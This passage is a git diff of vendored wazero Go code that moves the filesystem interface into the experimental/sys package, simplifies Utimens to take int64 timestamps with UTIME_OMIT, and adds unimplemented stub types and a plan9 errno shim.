a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go similarity index 67% rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go rename to vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go index 50bf61687d..1ce99cef18 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go @@ -1,10 +1,8 @@ -package fsapi +package sys import ( "io/fs" - "syscall" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" ) @@ -34,11 +32,11 @@ type FS interface { // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` or `flag` is invalid. - // - sys.EISDIR: the path was a directory, but flag included O_RDWR or + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` or `flag` is invalid. + // - EISDIR: the path was a directory, but flag included O_RDWR or // O_WRONLY - // - sys.ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT. + // - ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT. // // # Constraints on the returned file // @@ -59,15 +57,15 @@ type FS interface { // - Implications of permissions when O_CREAT are described in Chmod notes. // - This is like `open` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) + OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) // Lstat gets file status without following symbolic links. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.ENOENT: `path` doesn't exist. + // - ENOSYS: the implementation does not support this function. + // - ENOENT: `path` doesn't exist. // // # Notes // @@ -79,15 +77,15 @@ type FS interface { // same value. // - When the path is a symbolic link, the stat returned is for the link, // not the file it refers to. - Lstat(path string) (sys.Stat_t, experimentalsys.Errno) + Lstat(path string) (sys.Stat_t, Errno) // Stat gets file status. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.ENOENT: `path` doesn't exist. + // - ENOSYS: the implementation does not support this function. + // - ENOENT: `path` doesn't exist. // // # Notes // @@ -99,17 +97,17 @@ type FS interface { // same value. // - When the path is a symbolic link, the stat returned is for the file // it refers to. - Stat(path string) (sys.Stat_t, experimentalsys.Errno) + Stat(path string) (sys.Stat_t, Errno) // Mkdir makes a directory. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.EEXIST: `path` exists and is a directory. - // - sys.ENOTDIR: `path` exists and is a file. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - EEXIST: `path` exists and is a directory. + // - ENOTDIR: `path` exists and is a file. // // # Notes // @@ -118,16 +116,16 @@ type FS interface { // - This is like `mkdir` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html // - Implications of permissions are described in Chmod notes. - Mkdir(path string, perm fs.FileMode) experimentalsys.Errno + Mkdir(path string, perm fs.FileMode) Errno // Chmod changes the mode of the file. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` does not exist. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` does not exist. // // # Notes // @@ -138,19 +136,19 @@ type FS interface { // - Windows ignores the execute bit, and any permissions come back as // group and world. For example, chmod of 0400 reads back as 0444, and // 0700 0666. Also, permissions on directories aren't supported at all. - Chmod(path string, perm fs.FileMode) experimentalsys.Errno + Chmod(path string, perm fs.FileMode) Errno // Rename renames file or directory. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `from` or `to` is invalid. - // - sys.ENOENT: `from` or `to` don't exist. - // - sys.ENOTDIR: `from` is a directory and `to` exists as a file. - // - sys.EISDIR: `from` is a file and `to` exists as a directory. - // - sys.ENOTEMPTY: `both from` and `to` are existing directory, but + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `from` or `to` is invalid. + // - ENOENT: `from` or `to` don't exist. + // - ENOTDIR: `from` is a directory and `to` exists as a file. + // - EISDIR: `from` is a file and `to` exists as a directory. + // - ENOTEMPTY: `both from` and `to` are existing directory, but // `to` is not empty. // // # Notes @@ -160,18 +158,18 @@ type FS interface { // - This is like `rename` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html // - Windows doesn't let you overwrite an existing directory. - Rename(from, to string) experimentalsys.Errno + Rename(from, to string) Errno // Rmdir removes a directory. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` doesn't exist. - // - sys.ENOTDIR: `path` exists, but isn't a directory. - // - sys.ENOTEMPTY: `path` exists, but isn't empty. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` doesn't exist. + // - ENOTDIR: `path` exists, but isn't a directory. + // - ENOTEMPTY: `path` exists, but isn't empty. // // # Notes // @@ -179,18 +177,18 @@ type FS interface { // file system. // - This is like `rmdir` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html - // - As of Go 1.19, Windows maps sys.ENOTDIR to sys.ENOENT. - Rmdir(path string) experimentalsys.Errno + // - As of Go 1.19, Windows maps ENOTDIR to ENOENT. + Rmdir(path string) Errno // Unlink removes a directory entry. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` doesn't exist. - // - sys.EISDIR: `path` exists, but is a directory. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` doesn't exist. + // - EISDIR: `path` exists, but is a directory. // // # Notes // @@ -201,7 +199,7 @@ type FS interface { // - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might // want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows. // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya - Unlink(path string) experimentalsys.Errno + Unlink(path string) Errno // Link creates a "hard" link from oldPath to newPath, in contrast to a // soft link (via Symlink). @@ -209,10 +207,10 @@ type FS interface { // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EPERM: `oldPath` is invalid. - // - sys.ENOENT: `oldPath` doesn't exist. - // - sys.EISDIR: `newPath` exists, but is a directory. + // - ENOSYS: the implementation does not support this function. + // - EPERM: `oldPath` is invalid. + // - ENOENT: `oldPath` doesn't exist. + // - EISDIR: `newPath` exists, but is a directory. // // # Notes // @@ -220,7 +218,7 @@ type FS interface { // file system. // - This is like `link` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html - Link(oldPath, newPath string) experimentalsys.Errno + Link(oldPath, newPath string) Errno // Symlink creates a "soft" link from oldPath to newPath, in contrast to a // hard link (via Link). @@ -228,9 +226,9 @@ type FS interface { // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EPERM: `oldPath` or `newPath` is invalid. - // - sys.EEXIST: `newPath` exists. + // - ENOSYS: the implementation does not support this function. + // - EPERM: `oldPath` or `newPath` is invalid. + // - EEXIST: `newPath` exists. // // # Notes // @@ -244,17 +242,17 @@ type FS interface { // See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 // for how others implement this. // - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`. - // Otherwise, sys.EPERM results. + // Otherwise, EPERM results. // See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links - Symlink(oldPath, linkName string) experimentalsys.Errno + Symlink(oldPath, linkName string) Errno // Readlink reads the contents of a symbolic link. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. // // # Notes // @@ -265,32 +263,31 @@ type FS interface { // - On Windows, the path separator is different from other platforms, // but to provide consistent results to Wasm, this normalizes to a "/" // separator. - Readlink(path string) (string, experimentalsys.Errno) + Readlink(path string) (string, Errno) // Utimens set file access and modification times on a path relative to // this file system, at nanosecond precision. // // # Parameters // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT - // may be specified instead of real timestamps. A nil `times` parameter - // behaves the same as if both were set to UTIME_NOW. If the path is a - // symbolic link, the target of expanding that link is updated. + // If the path is a symbolic link, the target of expanding that link is + // updated. + // + // The `atim` and `mtim` parameters refer to access and modification time + // stamps as defined in sys.Stat_t. To retain one or the other, substitute + // it with the pseudo-timestamp UTIME_OMIT. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.EEXIST: `path` exists and is a directory. - // - sys.ENOTDIR: `path` exists and is a file. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - EEXIST: `path` exists and is a directory. + // - ENOTDIR: `path` exists and is a file. // // # Notes // // - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno - // TODO: change impl to not use syscall package, - // possibly by being just a pair of int64s.. + Utimens(path string, atim, mtim int64) Errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go similarity index 99% rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go rename to vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go index eac4fc9874..39ebd378f6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go @@ -1,4 +1,4 @@ -package fsapi +package sys // Oflag are flags used for FS.OpenFile. Values, including zero, should not be // interpreted numerically. Instead, use by constants prefixed with 'O_' with diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go index aa6eb23d80..23c4be9283 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go @@ -1,51 +1,57 @@ +//go:build !plan9 + package sys import "syscall" -func syscallToErrno(errno syscall.Errno) Errno { +func syscallToErrno(err error) (Errno, bool) { + errno, ok := err.(syscall.Errno) + if !ok { + return 0, false + } switch errno { case 0: - return 0 + return 0, true case syscall.EACCES: - return EACCES + return EACCES, true case syscall.EAGAIN: - return EAGAIN + return EAGAIN, true case syscall.EBADF: - return EBADF + return EBADF, true case syscall.EEXIST: - return EEXIST + return EEXIST, true case syscall.EFAULT: - return EFAULT + return EFAULT, true case syscall.EINTR: - return EINTR + return EINTR, true case syscall.EINVAL: - return EINVAL + return EINVAL, true case syscall.EIO: - return EIO + return EIO, true case syscall.EISDIR: - return EISDIR + return EISDIR, true case syscall.ELOOP: - return ELOOP + return ELOOP, true case syscall.ENAMETOOLONG: - return ENAMETOOLONG + return ENAMETOOLONG, true case syscall.ENOENT: - return ENOENT + return ENOENT, true case syscall.ENOSYS: - return ENOSYS + return ENOSYS, true case syscall.ENOTDIR: - return ENOTDIR + return ENOTDIR, true case syscall.ENOTEMPTY: - return ENOTEMPTY + return ENOTEMPTY, true case syscall.ENOTSOCK: - return ENOTSOCK + return ENOTSOCK, true case syscall.ENOTSUP: - return ENOTSUP + return ENOTSUP, true case syscall.EPERM: - return EPERM + return EPERM, true case syscall.EROFS: - return EROFS + return EROFS, true default: - return EIO + return EIO, true } } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go index 56c8441d95..8a88ed7658 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go @@ -2,15 +2,12 @@ package sys -import "syscall" - func errorToErrno(err error) Errno { - switch err := err.(type) { - case Errno: - return err - case syscall.Errno: - return syscallToErrno(err) - default: - return EIO + if errno, ok := err.(Errno); ok { + return errno + } + if errno, ok := syscallToErrno(err); ok { + return errno } + return EIO } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go new file mode 100644 index 0000000000..0e454f0acb --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go @@ -0,0 +1,5 @@ +package sys + +func syscallToErrno(err error) (Errno, bool) { + return 0, false +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go index 4c512133a4..761a1f9dc2 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go @@ -54,7 +54,8 @@ func errorToErrno(err error) Errno { case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME: return EINVAL } - return syscallToErrno(err) + errno, _ := syscallToErrno(err) + return errno default: return EIO } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go new file mode 100644 index 0000000000..4f3e01fefb --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go @@ -0,0 +1,10 @@ +package sys + +import "math" + +// UTIME_OMIT is a special constant for use in updating times via FS.Utimens +// or File.Utimens. When used for atim or mtim, the value is retained. +// +// Note: This may be implemented via a stat when the underlying filesystem +// does not support this value. +const UTIME_OMIT int64 = math.MinInt64 diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go new file mode 100644 index 0000000000..d853d9e8f4 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go @@ -0,0 +1,160 @@ +package sys + +import ( + "io/fs" + + "github.com/tetratelabs/wazero/sys" +) + +// UnimplementedFS is an FS that returns ENOSYS for all functions, +// This should be embedded to have forward compatible implementations. +type UnimplementedFS struct{} + +// OpenFile implements FS.OpenFile +func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) { + return nil, ENOSYS +} + +// Lstat implements FS.Lstat +func (UnimplementedFS) Lstat(path string) (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Stat implements FS.Stat +func (UnimplementedFS) Stat(path string) (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Readlink implements FS.Readlink +func (UnimplementedFS) Readlink(path string) (string, Errno) { + return "", ENOSYS +} + +// Mkdir implements FS.Mkdir +func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) Errno { + return ENOSYS +} + +// Chmod implements FS.Chmod +func (UnimplementedFS) Chmod(path string, perm fs.FileMode) Errno { + return ENOSYS +} + +// Rename implements FS.Rename +func (UnimplementedFS) Rename(from, to string) Errno { + return ENOSYS +} + +// Rmdir implements FS.Rmdir +func (UnimplementedFS) Rmdir(path string) Errno { + return ENOSYS +} + +// Link implements FS.Link +func (UnimplementedFS) Link(_, _ string) Errno { + return ENOSYS +} + +// Symlink implements FS.Symlink +func (UnimplementedFS) Symlink(_, _ string) Errno { + return ENOSYS +} + +// Unlink implements FS.Unlink +func (UnimplementedFS) Unlink(path string) Errno { + return ENOSYS +} + +// Utimens implements FS.Utimens +func (UnimplementedFS) Utimens(path string, atim, mtim int64) Errno { + return ENOSYS +} + +// UnimplementedFile is a File that returns ENOSYS for all functions, +// except where no-op are otherwise documented. +// +// This should be embedded to have forward compatible implementations. +type UnimplementedFile struct{} + +// Dev implements File.Dev +func (UnimplementedFile) Dev() (uint64, Errno) { + return 0, 0 +} + +// Ino implements File.Ino +func (UnimplementedFile) Ino() (sys.Inode, Errno) { + return 0, 0 +} + +// IsDir implements File.IsDir +func (UnimplementedFile) IsDir() (bool, Errno) { + return false, 0 +} + +// IsAppend implements File.IsAppend +func (UnimplementedFile) IsAppend() bool { + return false +} + +// SetAppend implements File.SetAppend +func (UnimplementedFile) SetAppend(bool) Errno { + return ENOSYS +} + +// Stat implements File.Stat +func (UnimplementedFile) Stat() (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Read implements File.Read +func (UnimplementedFile) Read([]byte) (int, Errno) { + return 0, ENOSYS +} + +// Pread implements File.Pread +func (UnimplementedFile) Pread([]byte, int64) (int, Errno) { + return 0, ENOSYS +} + +// Seek implements File.Seek +func (UnimplementedFile) Seek(int64, int) (int64, Errno) { + return 0, ENOSYS +} + +// Readdir implements File.Readdir +func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno Errno) { + return nil, ENOSYS +} + +// Write implements File.Write +func (UnimplementedFile) Write([]byte) (int, Errno) { + return 0, ENOSYS +} + +// Pwrite implements File.Pwrite +func (UnimplementedFile) Pwrite([]byte, int64) (int, Errno) { + return 0, ENOSYS +} + +// Truncate implements File.Truncate +func (UnimplementedFile) Truncate(int64) Errno { + return ENOSYS +} + +// Sync implements File.Sync +func (UnimplementedFile) Sync() Errno { + return 0 // not ENOSYS +} + +// Datasync implements File.Datasync +func (UnimplementedFile) Datasync() Errno { + return 0 // not ENOSYS +} + +// Utimens implements File.Utimens +func (UnimplementedFile) Utimens(int64, int64) Errno { + return ENOSYS +} + +// Close implements File.Close +func (UnimplementedFile) Close() (errno Errno) { return } diff --git a/vendor/github.com/tetratelabs/wazero/fsconfig.go b/vendor/github.com/tetratelabs/wazero/fsconfig.go index 560da0b37d..c28909e19e 100644 --- a/vendor/github.com/tetratelabs/wazero/fsconfig.go +++ b/vendor/github.com/tetratelabs/wazero/fsconfig.go @@ -3,7 +3,7 @@ package wazero import ( "io/fs" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/sysfs" ) @@ -135,7 +135,7 @@ type FSConfig interface { type fsConfig struct { // fs are the currently configured filesystems. - fs []fsapi.FS + fs []experimentalsys.FS // guestPaths are the user-supplied names of the filesystems, retained for // error messages and fmt.Stringer. guestPaths []string @@ -152,7 +152,7 @@ func NewFSConfig() FSConfig { // clone makes a deep copy of this module config. func (c *fsConfig) clone() *fsConfig { ret := *c // copy except slice and maps which share a ref - ret.fs = make([]fsapi.FS, 0, len(c.fs)) + ret.fs = make([]experimentalsys.FS, 0, len(c.fs)) ret.fs = append(ret.fs, c.fs...) ret.guestPaths = make([]string, 0, len(c.guestPaths)) ret.guestPaths = append(ret.guestPaths, c.guestPaths...) @@ -165,21 +165,26 @@ func (c *fsConfig) clone() *fsConfig { // WithDirMount implements FSConfig.WithDirMount func (c *fsConfig) WithDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewDirFS(dir), guestPath) + return c.WithSysFSMount(sysfs.DirFS(dir), guestPath) } // WithReadOnlyDirMount implements FSConfig.WithReadOnlyDirMount func (c *fsConfig) WithReadOnlyDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewReadFS(sysfs.NewDirFS(dir)), guestPath) + return c.WithSysFSMount(&sysfs.ReadFS{FS: sysfs.DirFS(dir)}, guestPath) } // WithFSMount implements FSConfig.WithFSMount func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig { - return c.withMount(sysfs.Adapt(fs), guestPath) + var adapted experimentalsys.FS + if fs != nil { + adapted = &sysfs.AdaptFS{FS: fs} + } + return c.WithSysFSMount(adapted, guestPath) } -func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { - if _, ok := fs.(fsapi.UnimplementedFS); ok { +// WithSysFSMount implements sysfs.FSConfig +func (c *fsConfig) WithSysFSMount(fs experimentalsys.FS, guestPath string) FSConfig { + if _, ok := fs.(experimentalsys.UnimplementedFS); ok { return c // don't add fake paths. } cleaned := sys.StripPrefixesAndTrailingSlash(guestPath) @@ -187,7 +192,7 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { if i, ok := ret.guestPathToFS[cleaned]; ok { ret.fs[i] = fs ret.guestPaths[i] = guestPath - } else { + } else if fs != nil { ret.guestPathToFS[cleaned] = len(ret.fs) ret.fs = append(ret.fs, fs) ret.guestPaths = append(ret.guestPaths, guestPath) @@ -197,12 +202,12 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { // preopens returns the possible nil index-correlated preopened filesystems // with guest paths. -func (c *fsConfig) preopens() ([]fsapi.FS, []string) { +func (c *fsConfig) preopens() ([]experimentalsys.FS, []string) { preopenCount := len(c.fs) if preopenCount == 0 { return nil, nil } - fs := make([]fsapi.FS, len(c.fs)) + fs := make([]experimentalsys.FS, len(c.fs)) copy(fs, c.fs) guestPaths := make([]string, len(c.guestPaths)) copy(guestPaths, c.guestPaths) diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go index 033b70cb7d..b80c14d7d5 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go @@ -12,10 +12,8 @@ import ( "github.com/tetratelabs/wazero/api" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/internal/sys" - "github.com/tetratelabs/wazero/internal/sysfs" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" sysapi "github.com/tetratelabs/wazero/sys" @@ -415,7 +413,7 @@ func fdFilestatGetFunc(mod api.Module, fd int32, resultBuf uint32) experimentals return writeFilestat(buf, &st, filetype) } -func getExtendedWasiFiletype(file fsapi.File, fm fs.FileMode) (ftype uint8) { +func getExtendedWasiFiletype(file experimentalsys.File, fm fs.FileMode) (ftype uint8) { ftype = getWasiFiletype(fm) if ftype == wasip1.FILETYPE_UNKNOWN { if _, ok := file.(socketapi.TCPSock); ok { @@ -503,50 +501,55 @@ func fdFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) ex return experimentalsys.EBADF } - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } // Try to update the file timestamps by file-descriptor. - errno = f.File.Utimens(×) + errno = f.File.Utimens(atim, mtim) // Fall back to path based, despite it being less precise. switch errno { case experimentalsys.EPERM, experimentalsys.ENOSYS: - errno = f.FS.Utimens(f.Name, ×) + errno = f.FS.Utimens(f.Name, atim, mtim) } return errno } -func toTimes(atim, mtime int64, fstFlags uint16) (times [2]syscall.Timespec, errno experimentalsys.Errno) { +func toTimes(walltime func() int64, atim, mtim int64, fstFlags uint16) (int64, int64, experimentalsys.Errno) { // times[0] == atim, times[1] == mtim + var nowTim int64 + // coerce atim into a timespec if set, now := fstFlags&wasip1.FstflagsAtim != 0, fstFlags&wasip1.FstflagsAtimNow != 0; set && now { - errno = experimentalsys.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[0] = syscall.NsecToTimespec(atim) + // atim is already correct } else if now { - times[0].Nsec = sysfs.UTIME_NOW + nowTim = walltime() + atim = nowTim } else { - times[0].Nsec = sysfs.UTIME_OMIT + atim = experimentalsys.UTIME_OMIT } // coerce mtim into a timespec if set, now := fstFlags&wasip1.FstflagsMtim != 0, fstFlags&wasip1.FstflagsMtimNow != 0; set && now { - errno = experimentalsys.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[1] = syscall.NsecToTimespec(mtime) + // mtim is already correct } else if now { - times[1].Nsec = sysfs.UTIME_NOW + if nowTim != 0 { + mtim = nowTim + } else { + mtim = walltime() + } } else { - times[1].Nsec = sysfs.UTIME_OMIT + mtim = experimentalsys.UTIME_OMIT } - return + return atim, mtim, 0 } // fdPread is the WASI function named FdPreadName which reads from a file @@ -745,11 +748,11 @@ var fdRead = newHostFunc( // preader tracks an offset across multiple reads. type preader struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Read implements the same function as documented on fsapi.File. +// Read implements the same function as documented on sys.File. func (w *preader) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length reads. @@ -942,7 +945,7 @@ const largestDirent = int64(math.MaxUint32 - wasip1.DirentSize) // // `bufToWrite` is the amount of memory needed to write direntCount, which // includes up to wasip1.DirentSize of a last truncated entry. -func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) { +func maxDirents(dirents []experimentalsys.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) { lenRemaining := bufLen for i := range dirents { if lenRemaining == 0 { @@ -991,7 +994,7 @@ func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, diren // writeDirents writes the directory entries to the buffer, which is pre-sized // based on maxDirents. truncatedEntryLen means the last is written without its // name. -func writeDirents(buf []byte, dirents []fsapi.Dirent, d_next uint64, direntCount int, truncatedLen uint32) { +func writeDirents(buf []byte, dirents []experimentalsys.Dirent, d_next uint64, direntCount int, truncatedLen uint32) { pos := uint32(0) skipNameI := -1 @@ -1233,11 +1236,11 @@ func fdWriteFn(_ context.Context, mod api.Module, params []uint64) experimentals // pwriter tracks an offset across multiple writes. type pwriter struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Write implements the same function as documented on fsapi.File. +// Write implements the same function as documented on sys.File. func (w *pwriter) Write(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length writes. @@ -1445,7 +1448,7 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) sys := mod.(*wasm.ModuleInstance).Sys fsc := sys.FS() - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } @@ -1457,14 +1460,14 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) symlinkFollow := flags&wasip1.LOOKUP_SYMLINK_FOLLOW != 0 if symlinkFollow { - return preopen.Utimens(pathName, ×) + return preopen.Utimens(pathName, atim, mtim) } // Otherwise, we need to emulate don't follow by opening the file by path. if f, errno := preopen.OpenFile(pathName, syscall.O_WRONLY, 0); errno != 0 { return errno } else { defer f.Close() - return f.Utimens(×) + return f.Utimens(atim, mtim) } } @@ -1595,7 +1598,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental } fileOpenFlags := openFlags(dirflags, oflags, fdflags, rights) - isDir := fileOpenFlags&fsapi.O_DIRECTORY != 0 + isDir := fileOpenFlags&experimentalsys.O_DIRECTORY != 0 if isDir && oflags&wasip1.O_CREAT != 0 { return experimentalsys.EINVAL // use pathCreateDirectory! @@ -1642,7 +1645,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental // // See https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/sources/at_fdcwd.c // See https://linux.die.net/man/2/openat -func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fsapi.FS, string, experimentalsys.Errno) { +func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (experimentalsys.FS, string, experimentalsys.Errno) { b, ok := mem.Read(p, pathLen) if !ok { return nil, "", experimentalsys.EFAULT @@ -1696,15 +1699,15 @@ func preopenPath(fsc *sys.FSContext, fd int32) (string, experimentalsys.Errno) { } } -func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi.Oflag) { +func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags experimentalsys.Oflag) { if dirflags&wasip1.LOOKUP_SYMLINK_FOLLOW == 0 { - openFlags |= fsapi.O_NOFOLLOW + openFlags |= experimentalsys.O_NOFOLLOW } if oflags&wasip1.O_DIRECTORY != 0 { - openFlags |= fsapi.O_DIRECTORY + openFlags |= experimentalsys.O_DIRECTORY return // Early return for directories as the rest of flags doesn't make sense for it. } else if oflags&wasip1.O_EXCL != 0 { - openFlags |= fsapi.O_EXCL + openFlags |= experimentalsys.O_EXCL } // Because we don't implement rights, we partially rely on the open flags // to determine the mode in which the file will be opened. This will create @@ -1713,30 +1716,30 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi // which sets O_CREAT but does not give read or write permissions will // successfully create a file when running with wazero, but might get a // permission denied error on other runtimes. - defaultMode := fsapi.O_RDONLY + defaultMode := experimentalsys.O_RDONLY if oflags&wasip1.O_TRUNC != 0 { - openFlags |= fsapi.O_TRUNC - defaultMode = 